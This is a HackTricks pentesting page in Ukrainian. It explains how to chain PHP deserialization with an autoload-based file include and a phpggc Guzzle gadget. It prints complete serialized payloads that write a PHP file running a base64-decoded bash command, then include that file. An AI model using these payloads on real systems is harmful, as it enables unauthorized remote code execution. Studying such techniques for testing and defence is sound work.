hacktricks/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md

11 KiB
Raw Blame History

PHP - Десеріалізація + Автозавантаження класів

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

First, you should check what are Автозавантаження класів.

PHP десеріалізація + spl_autoload_register + LFI/Gadget

Ми знаходимося в ситуації, коли знайшли десеріалізацію PHP у веб-додатку без жодної бібліотеки, вразливої до гаджетів всередині phpggc. Однак у тому ж контейнері була інша веб-додаток composer з вразливими бібліотеками. Тому метою було завантажити завантажувач composer іншого веб-додатку і зловживати ним, щоб завантажити гаджет, який експлуатуватиме цю бібліотеку з гаджетом з веб-додатку, вразливого до десеріалізації.

Кроки:

  • Ви знайшли десеріалізацію, і в поточному коді програми немає жодного гаджета
  • Ви можете зловживати функцією spl_autoload_register на кшталт наступної, щоб завантажити будь-який локальний файл з розширенням .php
  • Для цього ви використовуєте десеріалізацію, де ім'я класу буде всередині $name. Ви не можете використовувати "/" або "." в імені класу в серіалізованому об'єкті, але код замінює підкреслення ("_") на слеші ("/"). Тож ім'я класу, таке як tmp_passwd, буде перетворено на /tmp/passwd.php, і код спробує його завантажити.
    Приклад гаджета буде: O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

{% hint style="success" %} Якщо у вас є завантаження файлів і ви можете завантажити файл з розширенням .php, ви можете безпосередньо зловживати цією функціональністю і отримати вже RCE. {% endhint %}

У моєму випадку у мене не було нічого подібного, але всередині того ж контейнера була інша веб-сторінка композера з бібліотекою, вразливою до гаджета phpggc.

  • Щоб завантажити цю іншу бібліотеку, спочатку потрібно завантажити завантажувач композера тієї іншої веб-аплікації (оскільки завантажувач поточної аплікації не зможе отримати доступ до бібліотек іншої). Знаючи шлях до аплікації, ви можете досягти цього дуже легко за допомогою: O:28:"www_frontend_vendor_autoload":0:{} (У моєму випадку завантажувач композера був у /www/frontend/vendor/autoload.php)
  • Тепер ви можете завантажити інший завантажувач композера аплікації, тому настав час згенерувати phpgcc payload для використання. У моєму випадку я використовував Guzzle/FW1, що дозволило мені записувати будь-який файл у файловій системі.
  • ЗАУВАЖТЕ: згенерований гаджет не працював, щоб він працював, я модифікував цей payload chain.php phpggc і встановив всі атрибути класів з приватних на публічні. Якщо ні, після десеріалізації рядка атрибути створених об'єктів не мали жодних значень.
  • Тепер у нас є спосіб завантажити інший завантажувач композера аплікації і мати phpggc payload, який працює, але нам потрібно зробити це в ТІЙ ЖЕ ЗАПИТІ, щоб завантажувач був завантажений, коли гаджет використовується. Для цього я надіслав серіалізований масив з обома об'єктами, як:
  • Ви можете побачити спочатку завантажувач, що завантажується, а потім payload

{% code overflow="wrap" %}

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}

{% endcode %}

  • Тепер ми можемо створити та записати файл, однак користувач не міг записувати в жодну папку всередині веб-сервера. Отже, як ви можете бачити в payload, PHP викликає system з деяким base64, який створюється в /tmp/a.php. Потім ми можемо повторно використовувати перший тип payload, який ми використовували як LFI, щоб завантажити завантажувач composer іншого веб-додатку для завантаження згенерованого /tmp/a.php файлу. Просто додайте його до гаджета десеріалізації:

{% code overflow="wrap" %}

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

{% endcode %}

Резюме корисного навантаження

  • Завантажити автозавантаження композера іншого веб-додатку в тому ж контейнері
  • Завантажити гаджет phpggc для зловживання бібліотекою з іншого веб-додатку (первинний веб-додаток, вразливий до десеріалізації, не мав жодного гаджета у своїх бібліотеках)
  • Гаджет створить файл з PHP корисним навантаженням у /tmp/a.php з шкідливими командами (користувач веб-додатку не може записувати в жодну папку жодного веб-додатку)
  • Остання частина нашого корисного навантаження буде використовувати завантажити згенерований php файл, який виконає команди

Мені потрібно було викликати цю десеріалізацію двічі. У моєму тестуванні, перший раз файл /tmp/a.php був створений, але не завантажений, а вдруге його було правильно завантажено.

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}